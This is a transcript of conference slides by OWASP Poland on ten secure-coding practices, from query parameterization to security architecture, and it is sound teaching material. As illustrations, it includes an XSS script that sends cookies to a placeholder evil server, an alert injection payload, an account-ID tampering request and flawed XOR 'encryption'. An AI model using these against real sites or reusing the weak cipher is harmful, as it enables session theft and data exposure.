Download to read offline
![Example (at rest) • Storing password • „Own” SHA1 function public static String encrypt(byte [] in) { String out = ""; for(int i = 0; i < in.length; i++) { byte b = (byte)(in[i] ^ key[i%key.length]); out += "" + hexDigit[(b & 0xf0)>>4] + hexDigit[b & 0x0f]; } return out; }](https://image.slidesharecdn.com/tencommandmentsofsecurecoding-150522085323-lva1-app6891/75/Ten-Commandments-of-Secure-Coding-37-2048.jpg)
Uploaded byMateusz Olejarka
Ten Commandments of Secure Coding
The document outlines the OWASP Top Ten Proactive Controls for secure coding, emphasizing practices such as input validation, parameterization, and access control to mitigate security vulnerabilities. It highlights the importance of education for developers in application security and provides best practices for each commandment. The summary concludes that while these practices are crucial, each application should have its own risk profile tailored to its specific threats.
Ten Commandments of Secure Coding
- 1. Ten Commandments ofSecure Coding OWASP Top Ten Proactive Controls Mateusz Olejarka OWASP Poland
- 2. Mateusz Olejarka @molejarka •Senior IT Security Consultant @SecuRing • Ex-developer • OWASP Poland since 2011
- 3. OWASP O = Open •Docs & tools – free – Creative Commons license – open source • Build with open collaboration in mind – Each one of you can join 3
- 4. OWASP Poland Chapter •Since 2007 • Meetings: Kraków, Poznań, Warszawa • Free entry • Supporters:
- 5. 4Developers 2014* questionnaire *SecuRing’s study „Praktyki wytwarzania bezpiecznego oprogramowania w polskich firmach – 2014” • 62% companies do not educate programmers on application security • >50% companies do not consider security during the design stage • 73% participants confirmed, that they fixed security related issues • only 42% confirmed, that they do security testing before production deployment
- 6. OWASP Top10 Riskvs OWASP Top10 Proactive Controls
- 7. Disclaimer • Do notrely your application security on Top 10 * – It is purely educational material – Each application has its own risk profile
- 8. Thou shalt parametrize queries 1:Parametrize queries
- 9. SQL/LDAP/XML/cmd/…-injection Easily exploitable • Simpleto use tools exist Devastating impact Źródło: http://xkcd.com/327/
- 10. Best practices #1 PreparedStatements / Parametrized Queries #2 Stored Procedures – Watch for exeptions! (eval,dynamic block, etc.) #3 Escaping – risky! String newName = request.getParameter("newName"); String id = request.getParameter("id"); PreparedStatement pstmt = con.prepareStatement("UPDATE EMPLOYEES SET NAME = ? WHERE ID = ?"); pstmt.setString(1, newName); pstmt.setString(2, id);
- 11. References • Bobby Tables:A guide to preventing SQL injection • Query Parameterization Cheat Sheet • SQL Injection Prevention Cheat Sheet • OWASP Secure Coding Practices Quick Reference Guide
- 12. 2: Thou shaltencode data 2: Encode Data
- 13. XSS • Site defacement •Session hijacking <script>document.body.innerHTML(“Jim was here”);</script> <script> var img = new Image(); img.src="http://<some evil server>.com?” + document.cookie; </script>
- 14. Results of missingencoding • Session hijacking • Network scanning • CSRF prevention bypass • Site defacement (browser) • … • Browser hijack – vide BeEF
- 16. Cross Site Scripting Butwhen we write output inside pure JavaScript: <script> var split='<bean:write name="transferFormId" property="trn_recipient">'; splitRecipient(split); </script> trn_recipient=';alert('xss');-- <script> var split='';alert('xss');--
- 17. Best practices • Specialcharacter encoding has to be context aware – HTML element – HTML attribute – JavaScript – JSON – CSS / style – URL
- 18. References • XSS (CrossSite Scripting) Prevention Cheat Sheet • Java Encoder Project • Microsoft .NET AntiXSS Library • OWASP ESAPI • Encoder Comparison Reference Project
- 19. Thou shalt validateall inputs 3: Validate All Inputs
- 20. Why validate anything? •Most of other vulnerabilities (np. injections, xss, …) occurs (also) from missing input validation • Validation it is like firewall – Do not protects you agains everything – …but nice to have
- 21. Best practices • Preferwhitelist over blacklist approach, • Use strongly typed fields – One validator per one data type – Easier to integrate a WAF • Validation = first line of defence – For exaple type casting prevents injection – But not the only one!
- 22. References • Input ValidationCheat Sheet • Apache Commons Validator • OWASP JSON Sanitizer Project • OWASP Java HTML Sanitizer Project • Google Caja
- 23. Thou shalt implement appropriateaccess controls 4: Implement Appropriate Access Controls
- 24.
- 25. HTTP request GET /services/history/account/85101022350445200448009906HTTP/1.1 SA-DeviceId: 940109f08ba56a89 SA-SessionId: 826175 Accept: application/json Host: acc Connection: Keep-Alive User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4) GET /services/history/account/45101022350445200448005388 HTTP/1.1 SA-DeviceId: 940109f08ba56a89 SA-SessionId: 826175 Accept: application/json Host: acc Connection: Keep-Alive User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4) Account id change – we get other user data
- 26. Best practices • Servermakes a final call! • Default deny • All request must go through access controll – centralized, easy to use mechanism • Access control rules (policy) should be separated from code – Not a part of it
- 27. if (currentUser.hasRole(“administrator”)) { //pozwol }else { //zabron } If (currentUser.isPermitted(printPermission)) { //pozwol } else { //zabron }
- 28. References • Access ControlCheat Sheet • Java Authorization Guide with Apache Shiro – Apache Shiro Authorization features • OWASP PHPRBAC Project
- 29. Thou shalt establishidentity and authentication controls 5: Establish Identity and Authentication Controls
- 30. Example vulnerability • Authenticationwith locally stored key (on the machine) • Process: 1. Enter login 2. Select key file,enter key password 3. We are logged in https://...../GenerateNewKey
- 31. Best practices • Checkaccess control for the functions allowing to change authentication credentials • „chain of trust” rule • Watch for session at the border! • Do not limit length and characters to use in password
- 32. References • Authentication CheatSheet • Password Storage Cheat Sheet • Forgot Password Cheat Sheet • Session Management Cheat Sheet
- 33. Thou shalt protectdata and privacy 6: Protect Data and Privacy
- 34. Example (at transit) •SSL covers encryption and authentication • What verifies servers identity? – Web applications: Browser – Mobile / thick-client / embedded… application: Application • Common errors – Missing certificate validation – Brak sprawdzenia certyfikatu lub „łańcucha zaufania” – Missing exception handling
- 35. Best practices (intransit) • TLS • For whole application • Cookies: „Secure” flag • HTTP Strict Transport Security • Strong cipher suites • Chain of trust • Certificate pinning
- 36. References (in transit) •Transport Layer Protection Cheat Sheet • Pinning Cheat Sheet • OWASP O-Saft (SSL Audit for Testers)
- 37. Example (at rest) •Storing password • „Own” SHA1 function public static String encrypt(byte [] in) { String out = ""; for(int i = 0; i < in.length; i++) { byte b = (byte)(in[i] ^ key[i%key.length]); out += "" + hexDigit[(b & 0xf0)>>4] + hexDigit[b & 0x0f]; } return out; }
- 38. Best practices(at rest) •Do not reinwent the wheel! – Home-bred ciphers are evil – Own crypto is evil – Only libraries with reputation! • Strong ciphers in strong modes – ECB is evil – CBC – watch for „padding oracle” • Good RNG for IV
- 39. References • Google KeyCzar •Cryptographic Storage Cheat Sheet • Password Storage Cheat Sheet
- 40. Thou shalt implementlogging, error handling and intrusion detection 7: Implement Logging, Error Handling and Intrusion Detection
- 41. References • Logging CheatSheet • OWASP AppSensor Project
- 42. Thou shalt leveragesecurity features of frameworks and security libraries 8: Leverage Security Features of Frameworks and Security Libraries
- 43. Refenences • PHP SecurityCheat Sheet • .NET Security Cheat Sheet • Spring Security • Apache Shiro • OWASP Dependency Check / Track
- 44. Thou shalt includesecurity- specific requirements 9: Include Security-Specific Requirements
- 45. Building requirements • Attackscenatios – How threats can reach the objectives? – Requires experience and expertise • Selection of security controls == REQUIREMENTS Threat Results Attack scenarios Who? How? What?
- 46. References • OWASP ApplicationSecurity Verification Standard Project • Software Assurance Maturity Model • Business Logic Security Cheat Sheet • Testing for business logic (OWASP-BL-001)
- 47. Thou shalt designand architect security in 10: Design and Architect Security In
- 48. References • Software AssuranceMaturity Model (OpenSAMM) • Application Security Verification Standard Project • Application Security Architecture Cheat Sheet • Attack Surface Analysis Cheat Sheet • Threat Modeling Cheat Sheet
- 49.
- 50. That was justthe Top Ten! • Each application is different – Risk profile should be defined (WHO? WHY?) – Consider „compliance with existing regulations” • Few easy steps with big positive impact • Developers education is worth it!
- 51. OWASP meetings • https://www.owasp.org/index.php/Poland •Mailing list • Facebook: OWASP Poland Local Chapter • Twitter: @owasppoland
- 52.